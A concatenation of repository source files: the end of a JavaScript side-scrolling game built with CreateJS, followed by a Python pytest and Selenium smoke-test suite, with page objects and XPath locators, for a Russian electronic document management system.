state = Game.PLAYING;
gameStart();
//init();
}
console.log("Key.SPACE released");
x = lorn.animation.x;
y = lorn.animation.y;
if(lorn.hasFireBalls()){
console.log("lorn's shooted");
fireballs.push(new FireBall(x, y, lorn.getSense(false)));
lorn.shoot();
stage.addChild(fireballs[fireballs.length - 1].animation);
}
break;
case Key.LEFT:
console.log("Key.LEFT released");
lorn.stopMovingLeft();
break;
case Key.RIGHT:
console.log("Key.RIGHT released");
lorn.stopMovingRight();
break;
}
}
}
// auxiliar function for removing object from list and animation from stage
function dismiss(obj, list, index){
stage.removeChild(obj.animation);
list.splice(index,1);
}
// Class for holding corner references of Animation objects
var AnimationBorder = (function(){
function AnimationBorder(obj){
// used to reduced the final area (in pixels)
var CORRECTION = 3;
var objW = obj._width;
var objH = obj._height;
this.leftBound = (obj.animation.x - (objW * 0.5)) + CORRECTION;
this.rightBound = (this.leftBound + objW) - CORRECTION;
this.topBound = (obj.animation.y - (objH * 0.5)) + CORRECTION;
this.bottomBound = (this.topBound + objH) - CORRECTION;
}
return AnimationBorder;
})();
function rectCollisionDetection(obj, target){
var frst = new AnimationBorder(obj);
var scnd = new AnimationBorder(target);
//console.log("borders: " + scnd.leftBound + ", "+ scnd.rightBound + ", " + scnd.topBound+ ", " + scnd.bottomBound)
var collision = true;
// If any side from FRST is outside of SCND
if( frst.bottomBound <= scnd.topBound || frst.topBound >= scnd.bottomBound || frst.rightBound <= scnd.leftBound|| frst.leftBound >= scnd.rightBound)
{
collision = false;
}
if(collision)
console.log("colision detected.");
return collision;
}
// Main Game Function
function gameStart() {
stage.clear();
stage.removeAllChildren();
soundtrack.play();
presentControls();
var zOrder = [];
// randomize values for parallax effect
for (var count = 0; count < TREE_NUM; count++) {
zOrder.push((Math.random() - 0.4)+0.7);
}
// sort results for setting up trees order
zOrder.sort();
// add trees at the stage based on zOrder list (in ascending order)
for (var count = 0; count < TREE_NUM; count++) {
console.log("parallax: " + zOrder[count]);
trees[count] = new Tree(Math.random()* canvasW * 1.25, GROUND_LEVEL, zOrder[count]);
}
lorn = new Lorn(canvasW * 0.5, GROUND_LEVEL - LORN_REG_Y);
diamond = new Diamond(canvasW + 30, GROUND_LEVEL - LORN_REG_Y);
for (var count = 0; count < CAT_NUM; count++) {
cats.push(new Cat());
}
display = new Display(".", FONT_SIZE, GAME_FONT, FONT_COLOUR, 15, 0);
}
```
Lorn.js
```var RECOVERING_TIME = 750;
var DISTANCE_PER_MOVE = 10;
var HIT_CAT_SCORE = 50;
var GRAVITY = 0.6;
var LIVES = 3;
// Auxiliar function for String Formating.
// src: http://stackoverflow.com/questions/610406/javascript-equivalent-to-printf-string-format
if (!String.format) {
String.format = function(format) {
var args = Array.prototype.slice.call(arguments, 1);
return format.replace(/{(\d+)}/g, function(match, number) {
return typeof args[number] != 'undefined'
? args[number]
: match
;
});
};
}
// lorn Character
var Lorn = (function () {
// constructor
function Lorn(x, y) {
// variables for movement reference
this.jumping , this.movingLeft , this.movingRight = false;
this.velocityY = 0.0;
// PLAYER STATUS ATTRIBUTES
this.coveredDistance = 0;
this.score = 0;
this.lives = LIVES;
// Diamonds and Fireballs
this.fireballs = 0;
this.diamonds = 0;
// sprite size reference
this._width = 28;
this._height = 48;
// rectangle reference for collision detection
// SpriteSheet setup
this.data = {
images: [queue.getResult("lorn")],
frames: { width: this._width, height: this._height, regX: 14, regY: 24 },
animations: {
idle: { frames: [0,0], next: "walk"},
jump: { frames: [4,5], next: "walk"},
walk: [0, 8]
}
};
this.spriteSheet = new createjs.SpriteSheet(this.data);
this.animation = new createjs.Sprite(this.spriteSheet, "walk");
this.animation.x = x;
this.animation.y = y;
stage.addChild(this.animation);
}
Lorn.prototype.hasFireBalls = function () {
return (this.fireballs > 0)
}
Lorn.prototype.shoot = function () {
this.fireballs--;
}
// return Lives, distance, score, fireballs, diamonds
Lorn.prototype.getPlayerStatus = function () {
var status = [""+this.lives, ""+this.coveredDistance , ""+this.score, ""+this.fireballs, ""+this.diamonds];
return status;
}
Lorn.prototype.toString = function () {
var status = this.getPlayerStatus();
return String.format("\nLIVES: \t\t\t\t{0}\n\nFIREBALLS: {1}\n\nSCORE: \t\t\t\t{2}\n\nDIAMONDS: \t{3}\n\nDISTANCE: \t{4}",status[0],status[3],status[2],status[4],status[1]);
}
Lorn.prototype.hitCat = function () {
this.score += HIT_CAT_SCORE;
}
// set lorn for jumping
Lorn.prototype.startJump = function () {
if(!this.jumping){
console.log("jump started");
this.velocityY = -13.0;
this.jumping = true;
}
}
// set end of jumping move
Lorn.prototype.endJump = function () {
console.log("jump ended");
if(this.velocityY < -5.0){
this.velocityY = -5.0;
}
}
// set lorn for moving to the left
Lorn.prototype.moveLeft = function (){
lorn.animation.scaleX = -1;
this.movingLeft = true;
}
// set lorn for moving to the right
Lorn.prototype.moveRight = function (){
lorn.animation.scaleX = 1;
this.movingRight = true;
}
// set end of left move
Lorn.prototype.stopMovingLeft = function () {
this.movingLeft = false;
}
// set end of right move
Lorn.prototype.stopMovingRight = function () {
this.movingRight = false;
}
// return sense based on sprite scaleX variable
Lorn.prototype.getSense = function (considerIdle) {
return (this.isIdle() && considerIdle) ? 0 : this.animation.scaleX;
}
// if lorn wasHitten, check lives and set hitten delay
Lorn.prototype.wasHitten = function (state){
if(this.lives-- > 0){
this.animation.alpha = 0.5;
this.hitten = true;
var _this = this;
setTimeout( function(){
_this.animation.alpha = 1.0;
_this.hitten = false;
console.log("back to the game with " + _this.lives + " lives.")
}, RECOVERING_TIME);
}else{
// state = Game.OVER;
}
}
// check if lorn is not momving
Lorn.prototype.isIdle = function (){
return (!this.movingLeft && !this.movingRight && !this.jumping);
}
Lorn.prototype.colectDiamond = function (){
this.diamonds++;
this.fireballs += 10;
}
Lorn.prototype.getTotalScore = function (){
return this.coveredDistance * 0.1 + this.score;
}
Lorn.prototype.update = function () {
// apply GRAVITY to vertical velocity
this.velocityY +=GRAVITY;
// set lorn vertical position based on velocity
this.animation.y += this.velocityY;
// check if lorn is back to the ground and ends jump arch
if(this.animation.y > GROUND_LEVEL - LORN_REG_Y){
this.animation.y = GROUND_LEVEL - LORN_REG_Y;
this.velocityY = 0.0;
this.jumping = false;
}
if(this.jumping)
this.animation.gotoAndPlay("jump");
// verify and calculate horizontal moves
if(this.movingLeft)
this.coveredDistance -= DISTANCE_PER_MOVE;
if(this.movingRight)
this.coveredDistance += DISTANCE_PER_MOVE;
if(this.isIdle())
this.animation.gotoAndPlay("idle");
}
return Lorn;
})();
```
|
0100101001/PyTestKSED
|
0100101001/PyTestKSED
test_SZ.py
```#!/bin/sh
#!/usr/bin/python3
# -*- encoding=utf8 -*-
# How to run:
#.... python -m pytest -v --driver Chrome --driver-path WebDriver\chromedriver --alluredir ./allure_report
#.... allure generate ./allure_report && allure open allure-report
# -s команда вывода всех print в консоль
import pytest
import allure
from KSED.Tests.tk11691 import KSEDCreatDocSZ
from KSED.Tests.tk11704 import KSEDnaprSZSoglas
from KSED.Tests.tk12913 import KSEDPrintAttach
from KSED.Tests.tk12912 import KSEDPrintForm
@allure.feature('Создание Служебной записки')
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_11691(web_browser):
""" Создание Служебной записки. """
page = KSEDCreatDocSZ(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
LinkDocWFile = page.LinkDocWFile()
#@pytest.fixture(scope="session")
@allure.feature('Направление СЗ на согласование')
@pytest.mark.KSED_smoke_test
def test_11704(web_browser):
""" Направление СЗ на согласование. """
page = KSEDnaprSZSoglas(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
Attach = page.attachment()
NaprNaSogl = page.NapSoglasovanie()
#@pytest.fixture(scope="session")
@allure.feature('Печать вложений документа')
@pytest.mark.KSED_smoke_test
def test_12913(web_browser):
""" Печать вложений документа. """
page = KSEDPrintAttach(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
getDoc = page.getDoc()
printAttach = page.printAttach()
#is_element_present = page.is_element_present()
#@pytest.fixture(scope="session")
@allure.feature('Печать в разделе "Печатные формы"')
@pytest.mark.KSED_smoke_test
def test_12912(web_browser):
""" Печать в разделе "Печатные формы". """
page = KSEDPrintForm(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
getDoc = page.getDoc()
printForm = page.printForm()
#is_element_present = page.is_element_present()```
conftest.py
```#!/usr/bin/python3
# -*- encoding=utf8 -*-
# This is example shows how we can manage failed tests
# and make screenshots after any failed test case.
import pytest
import allure
import uuid
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.firefox.options import Options
@pytest.hookimpl(hookwrapper=True, tryfirst=True)
def pytest_runtest_makereport(item, call):
# This function helps to detect that some test failed
# and pass this information to teardown:
outcome = yield
rep = outcome.get_result()
setattr(item, "rep_" + rep.when, rep)
return rep
@pytest.fixture
def web_browser(request, selenium):
# options = Options() # запуск firefox в скрытом режиме
# options.add_argument('-headless') # запуск firefox в скрытом режиме
# browser = webdriver.Firefox(executable_path='geckodriver', options=options) # запуск firefox в скрытом режиме
# options = Options() # запуск chrome в скрытом режиме
# options.add_argument('--headless') # запуск chrome в скрытом режиме
# browser = webdriver.Chrome(chrome_options=options) # запуск chrome в скрытом режиме
# options = webdriver.ChromeOptions()
# options.add_argument('headless')
# browser = webdriver.Chrome(options=options)
browser = selenium # закомментировать для скрытого режима
# browser.set_window_size(1920, 1080)
browser.maximize_window()
# browser.set_window_size(1920, 1080)
#browser.maximize_window()
# Return browser instance to test case:
browser.implicitly_wait(10)
yield browser
# Do teardown (this code will be executed after each test):
# if request.node.rep_call.failed:
if request.node.rep_call:
# Make the screen-shot always:
try:
browser.execute_script("document.body.bgColor = 'white';")
# Make screen-shot for local debug:
browser.save_screenshot('screenshots/' + str(uuid.uuid4()) + '.png')
# Attach screenshot to Allure report:
allure.attach(browser.get_screenshot_as_png(),
name=request.function.__name__,
attachment_type=allure.attachment_type.PNG)
# For happy debugging:
print('URL: ', browser.current_url)
print('Browser logs:')
for log in browser.get_log('browser'):
print(log)
except:
pass # just ignore any errors here
browser.quit()```
tk11727.py
```#!/usr/bin/python3
# -*- encoding=utf8 -*-
import time, datetime
from selenium.webdriver import ActionChains
from page_objects import PageObject
from page_objects import PageElement
from page_objects import MultiPageElement
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.common.exceptions import *
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.keys import Keys
from KSED.Pages.PageObject import Locator
from KSED.TestData.data import dataTest
from KSED.TestData.locators import KSEDLocators
import allure
def wait_page_loaded(driver):
time.sleep(2)
page_loaded = False
while not page_loaded:
page_loaded = driver.execute_script("return document.readyState == 'complete';")
time.sleep(0.1)
class KSEDAbsence(Locator, dataTest, KSEDLocators):
def __init__(self, web_driver, uri=''):
super().__init__(web_driver, uri)
self.get(dataTest.baseURL)
wait_page_loaded(self.w)
@allure.step("Авторизация")
def LogIN(self, username, password):
# wait = WebDriverWait(self.w, 10, poll_frequency=1,
# ignored_exceptions=[NoSuchElementException,
# ElementNotVisibleException,
# ElementNotSelectableException])
page = Locator(self.w)
page.username_text = username
print(Locator.username_text)
page.password_text = password
page.LogIn_button.click()
wait_page_loaded(self.w)
assert "АРМ" in self.w.title
# Перейдем на страницу Логика ECM.Мой профиль
def getLogicESM(self, ):
page = Locator(self.w)
page.user_menu.click()
page.logic_ESM.click()
wait_page_loaded(self.w)
assert "Логика ECM.Мой профиль" in self.w.title
def Absence(self):
wait = WebDriverWait(self.w, 10, poll_frequency=1,
ignored_exceptions=[NoSuchElementException,
ElementNotVisibleException,
ElementNotSelectableException])
page = Locator(self.w)
page.autoAnswerText.clear()
page.autoAnswerText.send_keys('Навстречу злоключениям...')
page.btnCreateDoc.click()
wait_page_loaded(self.w)
assert "Логика ECM.Мой профиль" in self.w.title
assert wait.until(EC.visibility_of_element_located((By.XPATH, KSEDLocators.btnCancelAbsence)))
# Отменим отсутствие
page.btnCancelAbsence.click()
page.btnYes.click()
wait_page_loaded(self.w)
assert wait.until(EC.visibility_of_element_located((By.XPATH, KSEDLocators.btnCreateDoc)))
```
test_Profile.py
```#!/bin/sh
#!/usr/bin/python3
# -*- encoding=utf8 -*-
# How to run:
#.... python -m pytest -v --driver Chrome --driver-path WebDriver\chromedriver --alluredir ./allure_report
#.... allure generate ./allure_report && allure open allure-report
# -s команда вывода всех print в консоль
import pytest
import allure
from KSED.Tests.tk11775 import KSEDuser_LOGOUT
from KSED.Tests.tk11774 import Edit_Password
from KSED.Tests.tk11772 import KSEDmyprofile
from KSED.Tests.tk11773 import KSEDlogicESM
from KSED.Tests.tk11728 import Edit_Profile
from KSED.Tests.tk11727 import KSEDAbsence
@allure.feature('Выход из системы')
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_11775(web_browser):
""" Выход из системы. """
page = KSEDuser_LOGOUT(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
logout = page.USER_LOGOUTs()
@allure.feature('Изменение пароля пользователя')
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_11774(web_browser):
""" Изменение пароля пользователя. """
page = Edit_Password(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
edit_password = page.edit_password('12345', '12345') # введем старый пароль и новый пароль
# Проверим изменился ли пароль (выйдем из системы и авторизуемся с новым паролем)
logout = page.USER_LOGOUTs()
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
@allure.feature('Страница профиля пользователя')
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_11772(web_browser):
""" Страница профиля пользователя. """
page = KSEDmyprofile(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
getMyprofile = page.getMyprofile()
@allure.feature('Страница Логика ECM.Мой профиль')
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_11773(web_browser):
""" Страница Логика ECM.Мой профиль. """
page = KSEDlogicESM(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
getMyprofile = page.getLogicESM()
@allure.feature('Изменение профиля')
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_11728(web_browser):
""" Изменение профиля """
page = Edit_Profile(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
getMyprofile = page.edit_profile()
@allure.feature('Включить отсутствие: "Меня нет в офисе"')
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_11773(web_browser):
""" Включить отсутствие: "Меня нет в офисе". """
page = KSEDAbsence(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
getMyprofile = page.getLogicESM()
Absence = page.Absence()
```
locators.py
```# Извлечение номера документа из файла
# def rFile():
#
# my_file = open("D:\PyTestKSED\KSED\TestData\linkDoc.txt", "r")
# my_string = my_file.read()
# my_string.strip()
# return my_string
# my_file.close()
#
# def rFileRD():
#
# my_file = open("D:\PyTestKSED\KSED\TestData\linkDocRD.txt", "r")
# my_string = my_file.read()
# my_string.strip()
# return my_string
# my_file.close()
# #
# # my_file = open("tempDoc.txt")
# # my_string = my_file.read()
# # my_string.strip()
# #
# # locator = str("'//a[text() = ") + '"' + str(my_string) + '"]' + "'"
# # return (locator)
# #
# # my_file.close()
#
#
class KSEDLocators:
#
# # Ссылка на документ
# LinkDoc = rFile()
# LinkDocRD = rFileRD()
# Форма авторизации
username_text = 'username' # name
password_text = 'password' # name
LogIn_button = '//span/button' # xpath
# *******СТРОКА МЕНЮ*******
ksed = '(//a[contains(@title, "КСЭД")])[1]' #xpath # КСЭД
barcode_search = 'SEARCH_BARCODE_text' #id # Поиск по ШК
search_bc = '//input[contains(@id, "search_bc")]' #xpath # Строка поиска по ШК
more_menu = 'LOGIC_ECM_MORE_MENU_BAR' #id # Меню "Ещё"
ksed_in_more_m = 'SED_MENU_ITEM_ADDITIONAL_text' #id # КСЭД в меню "Ещё"
Company_dir = '//a[contains(@title, "Справочник организации")]' #xpath # Справочник организации
admin = '//a[contains(@title, "Администрирование")]' #xpath # Администрирование
transfer = '//a[contains(@title, "Передача дел")]' #xpath # Передача дел
arm_arh = '//a[contains(@title, "Передача дел")]' #xpath # АРМ Архивное дело
verify = '//a[contains(@title, "Верификация")]' #xpath # Верификация
scanner = '//a[contains(@title, "Верификация")]' #xpath # Работа со сканером ШК
notification = 'NOTIFICATIONS_text' #id # Уведомления
notificationProtokol = '(//a[contains(text(), "Протокол:")])[1]' #xpath # Первое в списке уведомление о протоколе
notificationFirst = '(//span[@class = "detail"]/a)[1]' #id # Уведомление первое в списке
# *******МЕНЮ ПОЛЬЗОВАТЕЛЯ*******
user_menu = '//span[@id="HEADER_USER_MENU_POPUP_text"]' #xpath # Меню пользователя
USER_LOGOUT = '//td[@id="HEADER_USER_MENU_LOGOUT_text"]' #xpath # Выход из системы
my_profile = '//a[text() = "Мой профиль"]' # xpath # Пункт меню "Мой профиль"
fieldlabel = '//div[@class = "fieldlabel"]' #xpath # Должность в области краткой информации
btnEdit_profile = '//button[contains(@id, "button-edit-button")]' #xpath # Кнопка "Изменить профиль"
inputPosition = '//input[contains(@id, "-input-jobtitle")]' #xpath # Поле ввода должности
logic_ESM = '//a[text() = "Логика ECM. Мой профиль"]' # xpath # Пункт меню "Логика ECM. Мой профиль"
autoAnswerText = 'prop_lecm-absence_auto-answer-text' #name # Текст автоответа (Меня нет в офисе)
btnCancelAbsence = '//button[contains(@id, "cancelButton-button")]' #xpath # Кнопка "Отменить отсутствие"
btnYes = '//button[text() = "Да"]' #xpath # Кнопка "Да" (отменить отсутствие)
edit_password = '//a[text() = "Изменить пароль"]' #xpath # Пункт меню "Изменить пароль"
inputOldPassword = '//input[contains(@id, "oldpassword")]' #xpath # Введите старый пароль
inputNewPassword1 = '//input[contains(@id, "newpassword1")]' # xpath # Введите старый пароль
inputNewPassword2 = '//input[contains(@id, "newpassword2")]' # xpath # Введите старый пароль
btnOKchange = '//button[contains(@id, "_default-bu")][text() = "ОК"]' #xpath # Кнопка "Изменить пароль"
# *******ЛЕВАЯ ЧАСТЬ СТРАНИЦЫ (Кнопка "Создать" и разделы)*******
newDoc_button = '//button[contains(@id, "newDocumentButton-button")]' #xpath # "Создать"
protocol = '//a[contains(@class, "hassubmenu")][contains(text(), "Протокол")]' #xpath # Протокол
rd = '//a[contains(@class, "hassubmenu")][contains(text(), "Распорядительный документ")]' #xpath # РД
reestr = '//a[contains(text(), "Реестр")]' #xpath # Реестр
poruchenie = '//a[contains(text(), "Поручение")]' #xpath # Поручение
cardSogl = '//a[contains(text(), "Карточка согласования")]' # xpath # Карточко согласования
resolution = '//a[contains(@class, "hassubmenu")][contains(text(), "Резолюция")]' #xpath # Резолюция
SZ = '//a[contains(@class, "hassubmenu")][contains(text(), "Служебная записка")]' #xpath # Служебная записка
proizvDoc = '//a[contains(@class, "yuimenuitemlabel")][contains(text(), "Произвольный документ")]' # xpath Произвольный документ
paket_vh = '//a[contains(@class, "yuimenuitemlabel")][contains(text(), "Пакет входящей корреспонденции")]' #xpath #Пакет Вх. кор.
vhDoc = '//a[contains(@class, "yuimenuitemlabel")][contains(text(), "Входящий документ")]'
ishDoc = '//a[contains(@class, "yuimenuitemlabel")][contains(text(), "Исходящий документ")]'
# РАЗДЕЛЫ
myWork = '//div[contains(text(), "Моя работа")]' #xpath # Моя работа
expedition = '//div[contains(text(), "Экспедиция")]' #xpath # Экспедиция
navigation = '//div[contains(text(), "Навигатор")]' #xpath # Навигатор
allur = '//div[contains(text(), "Отчеты")]' #xpath # Отчеты
workReg = '//div[contains(text(), "Работа регистратора")]' #xpath # Работа регистратора
medo = '//div[contains(text(), "МЭДО")]' #xpath # МЭДО
mySearch = '//div[contains(text(), "Мои поисковые запросы")]' #xpath # Мои поисковые запросы
poiskzapr = '//span[text() = "Поисковые запросы"]' #xpath # Поисковые запросы
myPoiskZapr = '//td[contains(@id, "ygtvcontente")]/span[text() = "2"]' #xpath # Поисковые запросы
ControlZapr = '//span[text() = "Управление поисковыми запросами"]' #xpath # Управление поисковыми запросами
btnPlus = '(//a[@class = "ygtvspacer"])[14]' #кнопка развернуть в моих запросах
# ОБЛАСТЬ ПРОСМОТРА (КСЭД)
oblProsm = '(//div[contains(@id, "_default-body")][contains(@class, "datagrid")])[2]' #xpath # Область просмотра
full_text_search = '(//input[contains(@id, "_default-full-text-search")])[1]' #xpath # Поисковая строка
oneDocInList = '(//a[contains(@href, "document?nodeRef=workspace")])[1]' #xpath # Первый документ в списке
nineDocInList = '(//a[contains(@href, "document?nodeRef=workspace")])[9]' # xpath # Девятый документ в списке
subordinate = '//span[@class = "expand-table-icon"]' #xpath # "+" раскрытие подчиненные документы
oneSubordInList = '(//a[contains(@href, "document?nodeRef=workspace")]' \
'[not(contains(@href, "/d"))])[1]' #xpath # Первая ссылка на подчиненный документ
ActionTab = '//span[contains(@class, "group-actions-counter")]' #xpath # Кнопка "Действия с выбранными"
chBinOnl = '//input[contains(@id, "_default-select-all-records")]'#'//input[@name = "fileChecked"][3]'
# Моя работа
WorkImmid ='//span[text() = "Срочные"]'#xpath # раздел срочные
connectedDoc = '(//h2[contains(@id, "alf-")])[6]' #xpath # связанные документы
# ОТЧЕТЫ
section_allur = '//div[contains(@id, "ac-head")][contains(text(), "Отчеты")]' #xpath # Раздел "Отчеты"
node_Logs = '//span[contains(text(), "Журналы")]'#xpath # "Журналы"
node_Statis = '//span[contains(@class, "ygtvlabel")][contains(text(), "Статистические")]'#xpath # "Статистические отчеты"
edsBykindStat = '//a[contains(@onclick, "eds-by-kind-stat")]' #xpath # Отчет "Сводка по видам документов"
node_ispDisp = '//div[contains(@class, "shown")]//span[contains(text(), "Отчеты по исполнительской дисциплине")]'#'//span[contains(text(), "Отчеты по исполнительской дисциплине")]' #xpath
logs_incDoc = '//a[contains(text(), "Журнал регистрации входящих документов")]' #xpath
incomingRegJournal = '//a[contains(@onclick, "incoming-reg-journal")]' #xpath # Отчет "Журнал регистрации входящих документов"
logs_outDoc = '//a[contains(text(), "Журнал регистрации исходящих документов")]' #xpath
outgoingRegistration = '//a[contains(@onclick, "outgoing-registration")]' # xpath # Отчет "Журнал регистрации исходящих документов"
logs_raspDoc = '//a[contains(text(), "Журнал регистрации Распорядительных документов")]' #xpath
ordRegJournal = '//a[contains(@onclick, "ord-reg-journal")]' # xpath # Отчет "Журнал регистрации Распорядительных документов"
logs_sluDoc = '//a[contains(text(), "Журнал Регистрации служебных записок")]' #xpath
internalRegJournal = '//a[contains(@onclick, "internal-reg-journal")]' # xpath # Отчет "Журнал регистрации служебных записок"
stat_specDoc = '//a[contains(text(), "Сводка по видам документов")]' #xpath
edsBykindStat = '//a[contains(@onclick, "eds-by-kind-stat")]' # xpath # Отчет "Сводка по видам документов"
stat_temDoc = '//a[contains(text(), "Сводка по тематикам документов")]' #xpath
edsBySubjectStat = '(//a[contains(@onclick, "eds-by-subject-stat")])[1]' #xpath # Отчет "Сводка по тематикам документов"
stat_temDocO = '//a[contains(text(), "Сводка по тематикам документов (объедин.)")]' #xpath
edsBySubjectStatO = '(//a[contains(@onclick, "eds-by-subject-stat")])[2]' # xpath # Отчет "Сводка по тематикам документов(объед)"
stat_tipDoc = '//a[contains(text(), "Сводка по типам документов")]' #xpath
edByTypeStat = '//a[contains(@onclick, "eds-by-type-stat")]' #xpath # Отчет "Сводка по типам документов"
allu_ispIncDoc = '//a[contains(text(), "Исполнение входящих документов")]' #xpath
allu_raspDoc = '//a[contains(text(), "Исполнение распорядительного документа")]' #xpath
allu_sluDoc = '//a[contains(text(), "Исполнение служебных записок")]' #xpath
allu_ispDis = '//a[contains(text(), "Исполнительская дисциплина по авторам")]' #xpath
allu_ispDispA = '//a[contains(text(), "Исполнительская дисциплина по исполнителям")]' #xpath
allu_NispDI = '(//a[contains(text(), "Неисполненные поручения с истекшим сроком")])[1]' #xpath
allu_NispDIrg = '//a[contains(text(), "Неисполнительные поручения с истекшим сроком РГ")]' #xpath
allu_istS = '//a[contains(text(), "Поручения с истекающим сроком")]' #xpath
allu_narS = '//a[contains(text(), "Поручения, исполненные с нарушением срока")]' #xpath
allu_prodIsp = '//a[contains(text(), "Продуктивность по Исполнителям")]' #xpath
allu_prodPodr = '//a[contains(text(), "Продуктивность по Подразделениям")]' #xpath
allu_ReesContr = '//a[contains(text(), "Реестр для закрытия неактуальных контрольных поручений")]' #xpath
allu_ReesContrN = '//a[contains(text(), "Реестр неисполнительных контрольных поручений")]' #xpath
allu_ReesContrF = '//a[contains(text(), "Реестр фактически исполненных контрольных поручений")]' #xpath
allu_SostIspR = '//a[contains(text(), "Состояние исполнения резолюций")]' #xpath
# *******РАБОТА С ДОКУМЕНТОМ*******
# ОБЩИЕ АТРИБУТЫ
#(форма создания документа)
title = 'prop_lecm-document_title' # name # Заголовок
category_doc = '//input[contains(@id, "-category-assoc-cntrl-autocomplete-input")]' # xpath # Категория документа
doc_type = '//button[contains(@id, "type-assoc-cntrl-tree-picker-button-button")]' #xpath # Вид документа(кнопка выбора)
doc_typeInp = '//input[contains(@id, "type-assoc-cntrl-autocomplete-input")]' #xpath # Вид документа(поле ввода)
btnOKDT = '//button[contains(@id, "type-assoc-cntrl-ok-button")]' # xpath # Вид документа (кнопка "ОК")
podpisant = '//input[contains(@id, "signerEmployeeAssoc-cntrl-autocomplete-input")]' # xpath # Подписант(ы)
sposob_dost = '//input[contains(@id, "_delivery-method-assoc-cntrl-autocomplete-input")]' # xpath # Способ доставки
btnCreateDoc = '//button[contains(@id, "_default-form-submit-button")]' # xpath # Кнопка "Создать"
adresat = '//input[contains(@id, "_recipient-assoc-autocomplete")]' # xpath # Адресат
korrespondent = '//input[contains(@id, "sender-assoc-autocomplete")]' # xpath # Корреспондент
# (карточка документа)
attachments = '//span[contains(@id, "action-expand")][contains(@class, "attachments-expand")]' #xpath # Переход во вкладку "Вложения"
vlozheniya = '//h2[contains(@id, "heading")][contains(text(), "Вложения")]' # xpath # Вложения (раскрытие раздела)
remarks = '//h2[contains(string(), "Замечания и внутреннее согласование")]'# xpath # замечания
remarksBtn = '//span[contains(@id, "yui")][contains(@class, "rn-approval-dashlet-expand")]'
osnSvedeniya = '//h2[contains(@id, "heading")][contains(text(), "Основные сведения")]' #xpath # Основные сведения (раскрытие раздела)
printForm = '//h2[contains(@id, "heading")][contains(text(), "Печатные формы")]' #xpath # Печатные формы (раскрытие раздела)
printBarCode = '//a[contains(text(), "Штрих-код документа")]' #xpath #Печатная форма штрих кода документа
btnPrintInPrintForm = 'print' #id # Кнопка печати в окне печатной формы
mode = '//button[contains(@id, "default-cntrl-split-panel-button-button")]' #xpath
fileUpload = '(//button[contains(@id, "fileUpload-button-button")])[2]' #xpath # Загрузить файл
fileUpload2 = '//button[contains(@id, "fileUpload-button-button")]' # xpath # Загрузить файл в поручении
fileUpload3 = '//button[contains(@class, "file-selection-button")]' #xpath # Выбрать файл
fileUpload4 = '(//button[contains(@id, "-upload-button-button")])[1]'#xpath # загузить файл
files = '//input[@type="file"][@name="files[]"]' #xpath # Выберите файлы
show = '//a[contains(@id, "action-show-main")]' #xpath # Показать общую карточка
show_list = '//a[@class = "preview-show-list"]' #xpath # Показать ввиде списка
btnPrint = '//button[contains(@id, "print_from_preview")]' #xpath # Кнопка печати в форме предварительного просмотра вложения
btnOKpodpis = '(//button[text() = "ОК"])[1]' #xpath # Кнопка ОК подтверждение подписания (//em[text() = "Согласование"])[2]
dropBtn = '(//span[contains(@class, "expand-table-icon")])[2]' #xpath # Кнопка открыть выпадающий список
dropBtn_2 = '(//span[contains(@class, "expand-table-icon")])[1]' #xpath # Кнопка открыть выпадающий список
#dropBtn_2 = '(//a[contains(@title, "Раскрыть все этапы")])[1]' #xpath # Кнопка открыть выпадающий список
resultSogl = '//td[contains(@class, "StageItemStatus")]' # xpath # результат соглаоования
soglasovanieWkladka = '//em[contains(text(), "Согласование")]' # xpath # Вкладка "Согласование"
soglasovanieWkladka2 = '(// em[text() = "Согласование"])[2]' # xpath # Вкладка "Согласование"
createRuleBtn = '//button[contains(@id, "create-approval-list-button-button")]' # xpath # Кнопка "Создать маршрут"
createRuleIndivid = '//a[text() = "Индивидуальный маршрут"]' #xpath # "Индивидуальный маршрут" (//a[text() = "Типовой"])[1]
createRuleTypical = '(//a[text() = "Типовой"])[1]' #xpath # "Типовой маршрут"
addEtap = '//button[contains(@id, "cntrl-add-stage-button")]' #xpath # Кнопка "Добавить этап"
tipeEtap = '//input[contains(@id, "type-cntrl-autocomplete-input")]' #xpath # "Вид этапа"
soglasuychie = '//input[contains(@id, "approvers-autocomplete")]' #xpath # "Согласующие"
btnOKformSogl = '//button[contains(@id, "form-submit-button")]' #xpath # Кнопка "ОК" на форме добавления этапа согласования
btnTree = '//span[contains(@class, "-push-button")][contains(@id, "type-cntrl-tree-picker-button")]' #xpath # Кнопка ...
btnSelection_1 = '(//span[contains(@class, "addIcon")])[1]' # xpath # Кнопка + первый выбор
btnSelection1 = '(//i[contains(@class, "icon-plus")])[1]' # xpath # Кнопка + первый выбор
btnSelection3 = '(//span[contains(@class, "addIcon")])[3]' # xpath # Кнопка + третий выбор
btnSelection_3 = '(//i[contains(@class, "icon-plus")])[3]' # xpath # Кнопка + третий выбор#
btnSelection_4 = '(//span[contains(@class, "addIcon")][contains(@id, "yui-gen")])[7]' # xpath # Кнопка + 4 выбор
btnSelection_5 = '(//span[contains(@class, "addIcon")])[5]' # xpath # Кнопка + 27 выбор
punkti = '//em[contains(text(), "Пункты")]' #xpath # Вкладка "Пункты"
